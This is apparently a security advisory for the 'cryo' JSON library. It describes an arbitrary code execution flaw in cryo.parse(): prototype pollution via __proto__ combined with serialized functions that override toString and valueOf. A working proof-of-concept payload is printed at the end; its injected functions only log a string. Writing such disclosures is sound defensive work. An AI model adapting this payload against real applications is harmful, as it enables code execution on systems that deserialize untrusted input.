cryo
is a json parser.
Affected versions of this package are vulnerable to Arbitrary Code Execution when untrusted user-input is passed into the cryo.parse()
function.
cryo
is used to deserialize JSON files into an object by useing square bracket notation ( obj[key]=value
) and interacts with the object later in the code (to convert to string, for example). Given that the JSON is controlled by user input, an attacker may be able to change the __proto__
property for a new object.
cryo
also serialization of functions, so the attacker can set their own methods (toString, valueOf) for the new object. If the application interacts later on with the new object in a way which leads to invocation of the object's prototype functions, the attacker's malicious code would execute.
PoC:
var Cryo = require('cryo');
var frozen = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\");return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
var hydrated = Cryo.parse(frozen);
console.log(hydrated);